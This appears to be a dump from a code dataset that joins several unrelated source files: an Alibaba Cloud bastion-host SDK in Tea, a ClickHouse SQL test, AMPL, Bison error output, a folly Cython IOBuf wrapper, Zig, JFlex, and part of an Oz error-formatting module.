regionId?: string(name='RegionId'),
}
model ModifyInstanceAttributeResponseBody = {
requestId?: string(name='RequestId'),
}
model ModifyInstanceAttributeResponse = {
headers: map[string]string(name='headers'),
body: ModifyInstanceAttributeResponseBody(name='body'),
}
async function modifyInstanceAttributeWithOptions(request: ModifyInstanceAttributeRequest, runtime: Util.RuntimeOptions): ModifyInstanceAttributeResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ModifyInstanceAttribute', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function modifyInstanceAttribute(request: ModifyInstanceAttributeRequest): ModifyInstanceAttributeResponse {
var runtime = new Util.RuntimeOptions{};
return modifyInstanceAttributeWithOptions(request, runtime);
}
model ModifyInstanceUpgradePeriodRequest {
lang?: string(name='Lang'),
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
upgradeStartTime?: string(name='UpgradeStartTime'),
upgradeMode?: string(name='UpgradeMode'),
}
model ModifyInstanceUpgradePeriodResponseBody = {
requestId?: string(name='RequestId'),
}
model ModifyInstanceUpgradePeriodResponse = {
headers: map[string]string(name='headers'),
body: ModifyInstanceUpgradePeriodResponseBody(name='body'),
}
async function modifyInstanceUpgradePeriodWithOptions(request: ModifyInstanceUpgradePeriodRequest, runtime: Util.RuntimeOptions): ModifyInstanceUpgradePeriodResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ModifyInstanceUpgradePeriod', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function modifyInstanceUpgradePeriod(request: ModifyInstanceUpgradePeriodRequest): ModifyInstanceUpgradePeriodResponse {
var runtime = new Util.RuntimeOptions{};
return modifyInstanceUpgradePeriodWithOptions(request, runtime);
}
model ModifyUserRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userId?: string(name='UserId'),
password?: string(name='Password'),
displayName?: string(name='DisplayName'),
comment?: string(name='Comment'),
email?: string(name='Email'),
mobile?: string(name='Mobile'),
mobileCountryCode?: string(name='MobileCountryCode'),
}
model ModifyUserResponseBody = {
requestId?: string(name='RequestId'),
}
model ModifyUserResponse = {
headers: map[string]string(name='headers'),
body: ModifyUserResponseBody(name='body'),
}
async function modifyUserWithOptions(request: ModifyUserRequest, runtime: Util.RuntimeOptions): ModifyUserResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ModifyUser', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function modifyUser(request: ModifyUserRequest): ModifyUserResponse {
var runtime = new Util.RuntimeOptions{};
return modifyUserWithOptions(request, runtime);
}
model ModifyUserGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userGroupId?: string(name='UserGroupId'),
userGroupName?: string(name='UserGroupName'),
comment?: string(name='Comment'),
}
model ModifyUserGroupResponseBody = {
requestId?: string(name='RequestId'),
}
model ModifyUserGroupResponse = {
headers: map[string]string(name='headers'),
body: ModifyUserGroupResponseBody(name='body'),
}
async function modifyUserGroupWithOptions(request: ModifyUserGroupRequest, runtime: Util.RuntimeOptions): ModifyUserGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ModifyUserGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function modifyUserGroup(request: ModifyUserGroupRequest): ModifyUserGroupResponse {
var runtime = new Util.RuntimeOptions{};
return modifyUserGroupWithOptions(request, runtime);
}
model MoveResourceGroupRequest {
resourceId?: string(name='ResourceId'),
resourceGroupId?: string(name='ResourceGroupId'),
resourceType?: string(name='ResourceType'),
regionId?: string(name='RegionId'),
}
model MoveResourceGroupResponseBody = {
requestId?: string(name='RequestId'),
}
model MoveResourceGroupResponse = {
headers: map[string]string(name='headers'),
body: MoveResourceGroupResponseBody(name='body'),
}
async function moveResourceGroupWithOptions(request: MoveResourceGroupRequest, runtime: Util.RuntimeOptions): MoveResourceGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('MoveResourceGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function moveResourceGroup(request: MoveResourceGroupRequest): MoveResourceGroupResponse {
var runtime = new Util.RuntimeOptions{};
return moveResourceGroupWithOptions(request, runtime);
}
model RemoveHostsFromGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostGroupId?: string(name='HostGroupId'),
hostIds?: string(name='HostIds'),
}
model RemoveHostsFromGroupResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostGroupId?: string(name='HostGroupId'),
hostId?: string(name='HostId'),
}
](name='Results'),
}
model RemoveHostsFromGroupResponse = {
headers: map[string]string(name='headers'),
body: RemoveHostsFromGroupResponseBody(name='body'),
}
async function removeHostsFromGroupWithOptions(request: RemoveHostsFromGroupRequest, runtime: Util.RuntimeOptions): RemoveHostsFromGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('RemoveHostsFromGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function removeHostsFromGroup(request: RemoveHostsFromGroupRequest): RemoveHostsFromGroupResponse {
var runtime = new Util.RuntimeOptions{};
return removeHostsFromGroupWithOptions(request, runtime);
}
model RemoveUsersFromGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userGroupId?: string(name='UserGroupId'),
userIds?: string(name='UserIds'),
}
model RemoveUsersFromGroupResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
userGroupId?: string(name='UserGroupId'),
userId?: string(name='UserId'),
}
](name='Results'),
}
model RemoveUsersFromGroupResponse = {
headers: map[string]string(name='headers'),
body: RemoveUsersFromGroupResponseBody(name='body'),
}
async function removeUsersFromGroupWithOptions(request: RemoveUsersFromGroupRequest, runtime: Util.RuntimeOptions): RemoveUsersFromGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('RemoveUsersFromGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function removeUsersFromGroup(request: RemoveUsersFromGroupRequest): RemoveUsersFromGroupResponse {
var runtime = new Util.RuntimeOptions{};
return removeUsersFromGroupWithOptions(request, runtime);
}
model ResetHostAccountCredentialRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostAccountId?: string(name='HostAccountId'),
credentialType?: string(name='CredentialType'),
}
model ResetHostAccountCredentialResponseBody = {
requestId?: string(name='RequestId'),
}
model ResetHostAccountCredentialResponse = {
headers: map[string]string(name='headers'),
body: ResetHostAccountCredentialResponseBody(name='body'),
}
async function resetHostAccountCredentialWithOptions(request: ResetHostAccountCredentialRequest, runtime: Util.RuntimeOptions): ResetHostAccountCredentialResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ResetHostAccountCredential', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function resetHostAccountCredential(request: ResetHostAccountCredentialRequest): ResetHostAccountCredentialResponse {
var runtime = new Util.RuntimeOptions{};
return resetHostAccountCredentialWithOptions(request, runtime);
}
model StartInstanceRequest {
instanceId?: string(name='InstanceId'),
vswitchId?: string(name='VswitchId'),
regionId?: string(name='RegionId'),
securityGroupIds?: [ string ](name='SecurityGroupIds'),
}
model StartInstanceResponseBody = {
instanceId?: string(name='InstanceId'),
requestId?: string(name='RequestId'),
}
model StartInstanceResponse = {
headers: map[string]string(name='headers'),
body: StartInstanceResponseBody(name='body'),
}
async function startInstanceWithOptions(request: StartInstanceRequest, runtime: Util.RuntimeOptions): StartInstanceResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('StartInstance', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function startInstance(request: StartInstanceRequest): StartInstanceResponse {
var runtime = new Util.RuntimeOptions{};
return startInstanceWithOptions(request, runtime);
}
model TagResourcesRequest {
regionId?: string(name='RegionId'),
resourceType?: string(name='ResourceType'),
resourceId?: [ string ](name='ResourceId'),
tag?: [
{
key?: string(name='Key'),
value?: string(name='Value'),
}
](name='Tag'),
}
model TagResourcesResponseBody = {
requestId?: string(name='RequestId'),
}
model TagResourcesResponse = {
headers: map[string]string(name='headers'),
body: TagResourcesResponseBody(name='body'),
}
async function tagResourcesWithOptions(request: TagResourcesRequest, runtime: Util.RuntimeOptions): TagResourcesResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('TagResources', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function tagResources(request: TagResourcesRequest): TagResourcesResponse {
var runtime = new Util.RuntimeOptions{};
return tagResourcesWithOptions(request, runtime);
}
model UnlockUsersRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userIds?: string(name='UserIds'),
}
model UnlockUsersResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
userId?: string(name='UserId'),
}
](name='Results'),
}
model UnlockUsersResponse = {
headers: map[string]string(name='headers'),
body: UnlockUsersResponseBody(name='body'),
}
async function unlockUsersWithOptions(request: UnlockUsersRequest, runtime: Util.RuntimeOptions): UnlockUsersResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('UnlockUsers', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function unlockUsers(request: UnlockUsersRequest): UnlockUsersResponse {
var runtime = new Util.RuntimeOptions{};
return unlockUsersWithOptions(request, runtime);
}
model UntagResourcesRequest {
regionId?: string(name='RegionId'),
resourceType?: string(name='ResourceType'),
all?: boolean(name='All'),
resourceId?: [ string ](name='ResourceId'),
tagKey?: [ string ](name='TagKey'),
}
model UntagResourcesResponseBody = {
requestId?: string(name='RequestId'),
}
model UntagResourcesResponse = {
headers: map[string]string(name='headers'),
body: UntagResourcesResponseBody(name='body'),
}
async function untagResourcesWithOptions(request: UntagResourcesRequest, runtime: Util.RuntimeOptions): UntagResourcesResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('UntagResources', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function untagResources(request: UntagResourcesRequest): UntagResourcesResponse {
var runtime = new Util.RuntimeOptions{};
return untagResourcesWithOptions(request, runtime);
}
model UpgradeInstanceImageVersionRequest {
lang?: string(name='Lang'),
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
}
model UpgradeInstanceImageVersionResponseBody = {
requestId?: string(name='RequestId'),
}
model UpgradeInstanceImageVersionResponse = {
headers: map[string]string(name='headers'),
body: UpgradeInstanceImageVersionResponseBody(name='body'),
}
async function upgradeInstanceImageVersionWithOptions(request: UpgradeInstanceImageVersionRequest, runtime: Util.RuntimeOptions): UpgradeInstanceImageVersionResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('UpgradeInstanceImageVersion', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function upgradeInstanceImageVersion(request: UpgradeInstanceImageVersionRequest): UpgradeInstanceImageVersionResponse {
var runtime = new Util.RuntimeOptions{};
return upgradeInstanceImageVersionWithOptions(request, runtime);
}
| Tea | 4 | aliyun/alibabacloud-sdk | yundun-bastionhost-20191209/main.tea | [
"Apache-2.0"
] |
SELECT
n,
toTypeName(dt64) AS dt64_typename,
'<',
dt64 < d,
toDate(dt64) < d,
dt64 < toDateTime64(d, 1, 'UTC'),
'<=',
dt64 <= d,
toDate(dt64) <= d,
dt64 <= toDateTime64(d, 1, 'UTC'),
'=',
dt64 = d,
toDate(dt64) = d,
dt64 = toDateTime64(d, 1, 'UTC'),
'>=',
dt64 >= d,
toDate(dt64) >= d,
dt64 >= toDateTime64(d, 1, 'UTC'),
'>',
dt64 > d,
toDate(dt64) > d,
dt64 > toDateTime64(d, 1, 'UTC'),
'!=',
dt64 != d,
toDate(dt64) != d,
dt64 != toDateTime64(d, 1, 'UTC')
FROM
(
WITH toDateTime('2019-09-16 19:20:11') as val
SELECT
number - 1 as n,
toDateTime64(val, 1, 'UTC') AS dt64,
toDate(val, 'UTC') - n as d
FROM system.numbers
LIMIT 3
)
| SQL | 3 | pdv-ru/ClickHouse | tests/queries/0_stateless/01561_Date_and_DateTime64_comparision.sql | [
"Apache-2.0"
] |
--
-- basic talking to a memory cell!
--
%functions:
Append(xs,ys) =
load xs;
case of
List.Nil:
load ys;
ret
List.Cons :
call append (xss,ys)
store z
List.Cons(x,z)
ret
ret
%run ( | console => intTerm1):
plug ch with
[intTerm1,console]:
hput intTerm1 IntTerm.Get
get intTerm1
store x
hput ch MEM.PUT
load x
put ch
hput ch MEM.GET
get ch
store x
hput intTerm1 IntTerm.Put
load x
put intTerm1
hput ch MEM.CLS
close ch
hput intTerm1 IntTerm.Close
close intTerm1
hput console Console.Close
halt console
[]:
cInt 1
store x
run memory(x|ch => )
| AMPL | 2 | prashant007/AMPL | myAMPL/src/test2.ampl | [
"MIT"
] |
At: "019b.hac":11:
parse error: syntax error
parser stacks:
state value
#STATE# (null)
#STATE# (process-prototype) [4:1..46]
#STATE# { [4:48]
#STATE# list<(def-body-item)>: (instance-decl) ... [5:1..5]
#STATE# keyword: chp [6:1..3]
#STATE# { [6:5]
#STATE# list<(chp-statement)>: list<(chp-statement)>: (chp-send) ... ... [7:2--10:11]
#STATE# ; [10:12]
#STATE# (id-expr): R [11:2]
#STATE# ! [11:3]
#STATE# ( [11:4]
#STATE# list<(expr)>: (array-concatenation) ... [11:5]
#STATE# < [11:7]
in state #STATE#, possible rules are:
connection_actuals_list: '(' complex_aggregate_reference_list . ')' (#RULE#)
complex_aggregate_reference_list: complex_aggregate_reference_list . ',' optional_complex_aggregate_reference (#RULE#)
acceptable tokens are:
')' (shift)
',' (shift)
| Bison | 1 | broken-wheel/hacktist | hackt_docker/hackt/test/parser/chp/019b.stderr.bison | [
"MIT"
] |
# Copyright (c) Facebook, Inc. and its affiliates.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from builtins import memoryview as py_memoryview
from folly.executor cimport get_running_executor
from cpython cimport Py_buffer
from weakref import WeakValueDictionary
from cpython.object cimport Py_LT, Py_LE, Py_EQ, Py_NE, Py_GT, Py_GE
from cython.operator cimport dereference as deref
__cache = WeakValueDictionary()
__all__ = ['IOBuf']
cdef unique_ptr[cIOBuf] from_python_buffer(memoryview view):
"""Take a python object that supports buffer protocol"""
if not view.is_c_contig() and not view.is_f_contig():
raise ValueError("View must be contiguous")
return move(
iobuf_from_python(
get_running_executor(True),
<PyObject*>view,
view.view.buf,
view.view.len,
)
)
cdef IOBuf from_unique_ptr(unique_ptr[cIOBuf] ciobuf):
inst = <IOBuf>IOBuf.__new__(IOBuf)
inst._ours = move(ciobuf)
inst._parent = inst
inst._this = inst._ours.get()
__cache[(<unsigned long>inst._this, id(inst))] = inst
return inst
cdef class IOBuf:
def __init__(self, buffer not None):
cdef memoryview view = memoryview(buffer, PyBUF_C_CONTIGUOUS)
self._ours = move(from_python_buffer(view))
self._this = self._ours.get()
self._parent = self
self._hash = None
__cache[(<unsigned long>self._this, id(self))] = self
def __dealloc__(self):
self._ours.reset()
@staticmethod
cdef IOBuf create(cIOBuf* this, object parent):
key = (<unsigned long>this, id(parent))
cdef IOBuf inst = __cache.get(key)
if inst is None:
inst = <IOBuf>IOBuf.__new__(IOBuf)
inst._this = this
inst._parent = parent
__cache[key] = inst
return inst
cdef void cleanup(self):
self._ours.reset()
cdef unique_ptr[cIOBuf] c_clone(self):
return move(self._this.clone())
def clone(self):
""" Clone the iobuf chain """
return from_unique_ptr(self._this.clone())
@property
def next(self):
_next = self._this.next()
if _next == self._this:
return None
return IOBuf.create(_next, self._parent)
@property
def prev(self):
_prev = self._this.prev()
if _prev == self._this:
return None
return IOBuf.create(_prev, self._parent)
@property
def is_chained(self):
return self._this.isChained()
def chain_size(self):
return self._this.computeChainDataLength()
def chain_count(self):
return self._this.countChainElements()
def __bytes__(self):
return <bytes>self._this.data()[:self._this.length()]
def __bool__(self):
return not self._this.empty()
def __getbuffer__(self, Py_buffer *buffer, int flags):
self.shape[0] = self._this.length()
self.strides[0] = 1
buffer.buf = <void *>self._this.data()
buffer.format = NULL
buffer.internal = NULL
buffer.itemsize = 1
buffer.len = self.shape[0]
buffer.ndim = 1
buffer.obj = self
buffer.readonly = 1
buffer.shape = self.shape
buffer.strides = self.strides
buffer.suboffsets = NULL
def __releasebuffer__(self, Py_buffer *buffer):
# Read-only means we need no logic here
pass
def __len__(self):
return self._this.length()
def __iter__(self):
"Iterates through the chain of buffers returning a memory view for each"
yield py_memoryview(self)
next = self.next
while next is not None and next is not self:
yield py_memoryview(next)
next = next.next
def __hash__(self):
if not self._hash:
self._hash = hash(b''.join(self))
return self._hash
def __richcmp__(self, other, op):
cdef int cop = op
if not (isinstance(self, IOBuf) and isinstance(other, IOBuf)):
if cop == Py_EQ: # different types are never equal
return False
elif cop == Py_NE: # different types are always notequal
return True
else:
return NotImplemented
cdef cIOBuf* othis = (<IOBuf>other)._this
if cop == Py_EQ:
return check_iobuf_equal(self._this, othis)
elif cop == Py_NE:
return not(check_iobuf_equal(self._this, othis))
elif cop == Py_LT:
return check_iobuf_less(self._this, othis)
elif cop == Py_LE:
return not(check_iobuf_less(othis, self._this))
elif cop == Py_GT:
return check_iobuf_less(othis, self._this)
elif cop == Py_GE:
return not(check_iobuf_less(self._this, othis))
else:
return NotImplemented
| Cython | 4 | Aoikiseki/folly | folly/python/iobuf.pyx | [
"Apache-2.0"
] |
pub const io_mode = .evented;
pub fn main() void {}
| Zig | 1 | lukekras/zig | test/standalone/issue_9693/main.zig | [
"MIT"
] |
package de.jflex.testcase.flex_syntax_error;
%%
%class Null
%standalone
%%
<YYINITIAL> {
}
| JFlex | 3 | WeDoSoftware/jflex | javatests/de/jflex/testcase/flex_syntax_error/null.flex | [
"BSD-3-Clause"
] |
%%%
%%% Authors:
%%% Martin Mueller <[email protected]>
%%%
%%% Contributors:
%%% Denys Duchier <[email protected]>
%%% Martin Henz <[email protected]>
%%% Leif Kornstaedt <[email protected]>
%%% Benjamin Lorenz <[email protected]>
%%% Christian Schulte <[email protected]>
%%%
%%% Copyright:
%%% Martin Mueller, 1997
%%%
%%% Last change:
%%% $Date$ by $Author$
%%% $Revision$
%%%
%%% This file is part of Mozart, an implementation of Oz 3:
%%% http://www.mozart-oz.org
%%%
%%% See the file "LICENSE" or
%%% http://www.mozart-oz.org/LICENSE.html
%%% for information on usage and redistribution
%%% of this file, and for a DISCLAIMER OF ALL
%%% WARRANTIES.
%%%
functor
import
System(printName)
export
kernel: KernelFormatter
object: ObjectFormatter
failure: FailureFormatter
recordC: RecordCFormatter
system: SystemFormatter
ap: APFormatter
dp: DPFormatter
os: OSFormatter
foreign: ForeignFormatter
url: URLFormatter
module: ModuleFormatter
prepare
BugReport = 'Please send bug report to [email protected]'
fun {LayoutDot R F X Op}
if {IsDet R}
andthen {IsRecord R}
andthen {Length {Arity R}}>5
then
[hint(l:'In statement' m:'R ' # Op # ' ' # oz(F) # ' = ' # oz(X))
hint(l:'Expected fields' m:list({Arity R} ' '))
hint(l:'Record value' m:oz(R))]
else
{LayoutBin R F X Op}
end
end
fun {LayoutComma C M}
[hint(l:'In statement' m:'C, '#oz(M))
hint(l:'Class value' m:oz(C))]
end
fun {LayoutBin X Y Z Op}
[hint(l:'In statement' m:oz(X) # ' ' # Op # ' ' # oz(Y) # ' = ' # oz(Z))]
end
fun {IsNotNL X}
X \= &\n
end
fun {ToLower Xs}
{Map {VirtualString.toString Xs} Char.toLower}
end
local
fun {DoFormatTypes Text S}
case S of nil then nil
else First Rest in
{List.takeDropWhile S.2 IsNotNL First Rest}
case Text of '' then
hint(m:{ToLower First})
else
hint(l:Text m:{ToLower First})
end|{DoFormatTypes '' Rest}
end
end
in
fun {FormatTypes T}
{DoFormatTypes 'Expected type' &\n|{Atom.toString T}}
end
end
local
fun {DoFormatHint S}
case S of nil then nil
else First Rest in
{List.takeDropWhile S.2 IsNotNL First Rest}
line(First) | {DoFormatHint Rest}
end
end
in
fun {FormatHint S}
if S \= nil then
unit|{DoFormatHint &\n|{VirtualString.toString S}}
else nil
end
end
end
fun {Plural N}
if N == 1 then '' else 's' end
end
define
%%
%% kernel related errors
%%
fun {KernelFormatter E}
case E
of kernel(type A Xs T P S) then
% expected A:procedure or atom, Xs: list, T: atom, P:int, S: virtualString
LayOut = case A # Xs
of '.' # [R F X] then
Ls = {LayoutDot R F X '.'}
in
{Append Ls {FormatHint S}}
elseof '^' # [R F X] then
Ls = {LayoutDot R F X '^'}
in
{Append Ls {FormatHint S}}
elseof ',' # [C M] then
Ls = {LayoutComma C M}
in
{Append Ls {FormatHint S}}
elseof '+1' # [X Y] then
Ls =
[hint(l:'In statement' m:oz(X) # ' + 1 = ' # oz(Y))
hint(l:'Possible origin' m:'1 + ' # oz(X) # ' = ' # oz(Y))]
in
{Append Ls {FormatHint S}}
elseof fdTellConstraint # [X Y] then
Ls = [hint(l:'In statement' m:oz(X) # ' :: ' # oz(Y))]
in
{Append Ls {FormatHint S}}
else
if
{Member A ['+' '-' '*' '/' '<' '>' '=<' '>=' '\\=']}
then
Ls = case Xs of [X Y Z] then
{LayoutBin X Y Z A}
else
[hint(l:'In statement' m:apply(A Xs))]
end
in
{Append Ls {FormatHint S}}
else
Ls = [hint(l:'In statement' m:apply(A Xs))]
in
{Append Ls {FormatHint S}}
end
end
in
error(kind: 'type error'
items: {Append
{FormatTypes T}
if P\=0 then
hint(l:'At argument' m:P) | LayOut
else LayOut end})
elseof kernel(instantiation A Xs T P S) then
%% expected A: procedure or atom, Xs: list, T: atom,
%% P:int, S:virtualString
LayOut = {Append
[hint(l:'In statement' m:apply(A Xs))]
{FormatHint S}}
in
error(kind: 'instantiation error'
items: {Append
{FormatTypes T}
if P\=0 then
hint(l:'At argument' m:P) | LayOut
else LayOut end})
elseof kernel(apply X Xs) then
%% expected X: procedure or atom, Xs: list
error(kind: 'error in application'
msg: 'Application of non-procedure and non-object'
items: [hint(l:'In statement' m:apply(X Xs))])
elseof kernel('.' R F) then
%% expected R: chunk or record, F: feature
error(kind: 'Error: illegal field selection'
items: {LayoutDot R F _ '.'})
elseof kernel(recordConstruction L As) then
%% expected L: literal, As: property list
error(kind: 'Error: duplicate fields'
msg: 'Duplicate fields in record construction'
items: [hint(l:'Label' m:oz(L))
hint(l:'Feature-field Pairs' m:list(As ' '))])
elseof kernel(recordPattern L As) then
%% expected L: literal, As: feature list
error(kind: 'Error: duplicate fields'
msg: 'Duplicate fields in record pattern'
items: [hint(l:'Label' m:oz(L))
hint(l:'Features' m:list(As ' '))])
elseof kernel(arity P Xs) then
%% expected P: procedure or object, Xs: list
N = if {IsProcedure P} then {Procedure.arity P} else 1 end
M = {Length Xs}
in
error(kind: 'Error: illegal number of arguments'
items: [hint(l:'In statement' m:apply(P Xs))
hint(l:'Expected'
m: N # ' argument' # {Plural N})
hint(l:'Found'
m: M # ' argument' # {Plural M})])
elseof kernel(noElse File Line) then
error(kind: 'Error: conditional failed'
msg: 'Missing else clause'
items: [pos(File Line unit)])
elseof kernel(noElse File Line A) then
%% expected A: Oz term
error(kind: 'Error: conditional failed'
msg: 'Missing else clause'
items: [hint(l:'Matching' m:oz(A))
pos(File Line unit)])
elseof kernel(boolCaseType File Line A) then
error(kind: 'Error: boolean conditional failed'
msg: 'Non-boolean value found'
items: [hint(l:'Value found' m:oz(A))
pos(File Line unit)])
%%
%% ARITHMETICS
%%
elseof kernel(div0 X) then
error(kind: 'division by zero error'
items: [hint(l:'In statement' m:oz(X) # ' div 0' # ' = _')])
elseof kernel(mod0 X) then
error(kind: 'division by zero error'
items: [hint(l:'In statement' m:oz(X) # ' mod 0' # ' = _')])
%%
%% ARRAYS AND DICTIONARIES
%%
elseof kernel(dict D K) then
%% expected D: dictionary, K: feature
L={Dictionary.keys D}
in
error(kind: 'Error: Dictionary'
msg: 'Key not found'
items:
hint(l:'Dictionary' m:oz(D))
| hint(l:'Key found' m:oz(K))
| hint(l:'Legal keys' m:oz(L))
%% we cannot use Dictionary.member because, due to concurrence,
%% the answer could be incoherent with the list returned by
%% Dictionary.keys
| if {Member K L} then
[line('it looks like the key concurrently appeared in the')
line('dictionary after the exception was raised')]
else nil end)
elseof kernel(array A I) then
%% expected A: array, I: int
error(kind: 'Error: Array'
msg: 'Index out of range'
items: [hint(l:'Array' m:oz(A))
hint(l:'Index Found' m:I)
hint(l:'Legal Range'
m:{Array.low A} # ' - ' # {Array.high A})])
elseof kernel('BitArray.new' L H) then
%% expected L: int, H: int
error(kind: 'Error: BitArray'
msg: 'Illegal boundaries to BitArray.new'
items: [hint(l: 'Lower bound' m: L)
hint(l: 'Upper bound' m: H)])
elseof kernel('BitArray.index' B I) then
%% expected B: Bitarray, I: int
error(kind: 'Error: BitArray'
msg: 'Index out of range'
items: [hint(l: 'Bit array' m: oz(B))
hint(l: 'Index found' m: I)
hint(l: 'Legal Range'
m: {BitArray.low B}#' - '#{BitArray.high B})])
elseof kernel('BitArray.binop' B1 B2) then
%% expected B1: BitArray, B2: BitArray
error(kind: 'Error: BitArray'
msg: 'Incompatible bounds in binary operation on BitArrays'
items: [hint(l: 'First bit array' m: oz(B1))
hint(l: 'First bounds'
m: {BitArray.low B1}#' - '#{BitArray.high B1})
hint(l: 'Second bit array' m: oz(B2))
hint(l: 'Second bounds'
m: {BitArray.low B2}#' - '#{BitArray.high B2})])
%%
%% REPRESENTATION FAULT
%%
elseof kernel(stringNoFloat S) then
%% expected S: string
error(kind: 'Error: representation fault'
msg: 'Conversion to float failed'
items: [hint(l:'String' m:'\"' # S # '\"')])
elseof kernel(stringNoInt S) then
%% expected S: string
error(kind: 'Error: representation fault'
msg: 'Conversion to integer failed'
items: [hint(l:'String' m:'\"' # S # '\"')])
elseof kernel(stringNoAtom S) then
%% expected S: string
error(kind: 'Error: representation fault'
msg: 'Conversion to atom failed'
items: [hint(l:'String' m:'\"' # S # '\"')])
elseof kernel(stringNoValue S) then
%% expected S: string
error(kind: 'Error: representation fault'
msg: 'Conversion to Oz value failed'
items: [hint(l:'String' m:'\"' # S # '\"')])
elseof kernel(globalState What) then
%% expected What: atom
Msg = case What
of array then 'Assignment to global array'
elseof dict then 'Assignment to global dictionary'
elseof cell then 'Assignment to global cell'
elseof io then 'Input/Output'
elseof object then 'Assignment to global object'
elseof 'lock' then 'Request of global lock'
else What end
in
error(kind: 'Error: space hierarchy'
msg: Msg # ' from local space')
elseof kernel(spaceMerged S) then
%% expected S: space
error(kind: 'Error: Space'
msg: 'Space already merged'
items: [hint(l:'Space' m:oz(S))])
elseof kernel(spaceDistributor) then
%% expected S: space
error(kind: 'Error: Space'
msg: 'Space already contains distributable thread')
elseof kernel(spaceAdmissible S) then
%% expected S: space
error(kind: 'Error: Space'
msg: 'Space is not admissible for current space'
items: [hint(l:'Space' m:oz(S))])
elseof kernel(spaceIllegalAlt S) then
%% expected S: space
error(kind: 'Error: Space'
msg: 'Illegal alternative selection'
items: [hint(l:'Space' m:oz(S))])
elseof kernel(spaceNoChoice S) then
%% expected S: space
error(kind: 'Error: Space'
msg: 'No distributor left'
items: [hint(l:'Space' m:oz(S))])
elseof kernel(spaceAltOrder S) then
%% expected S: space
error(kind: 'Error: Space'
msg: 'Range of alternatives must be ordered'
items: [hint(l:'Space' m:oz(S))])
elseof kernel(spaceAltRange S R N) then
%% expected S: space
error(kind: 'Error: Space'
msg: 'Requested alternative(s) out of range'
items: [hint(l:'Space' m:oz(S))
hint(l:'Requested alternative' m:R)
hint(l:'Number of alternatives' m:N)])
elseof kernel(spaceSituatedness Cs) then
%% expected S: space
error(kind: 'Error: Space'
msg: 'Situatedness violation'
items: [hint(l:'Culprits' m:oz(Cs))])
elseof kernel(portClosed P) then
%% expected P: port
error(kind: 'Error: Port'
msg: 'Port already closed'
items: [hint(l:'Port' m:oz(P))])
elseof kernel(terminate) then
error(kind: 'Thread'
msg: 'Thread terminated')
elseof kernel(block X) then
%% expected X: variable
error(kind: 'Error: Thread'
msg: 'Purely sequential thread blocked'
items: [hint(l: 'Thread' m:oz({Thread.this}))
hint(l:'Variable' m:oz(X))])
elseof kernel(weakDictionary WeakDict Key) then
error(kind: 'Error: WeakDictionary'
msg: 'Key not found'
items: [hint(l: 'Dictionary' m: oz(WeakDict))
hint(l: 'Key' m: oz(Key))])
else
error(kind: 'Kernel'
items: [line(oz(E))])
end
end
%%
%% objects
%%
local
fun {FormatConf FCs}
case FCs of nil then nil
[] F#Cs|FCr then
hint(m:(oz(F)#' defined by: '#
oz({Map Cs System.printName})))|{FormatConf FCr}
end
end
in
fun {ObjectFormatter E}
T = 'Error: object system'
in
case E
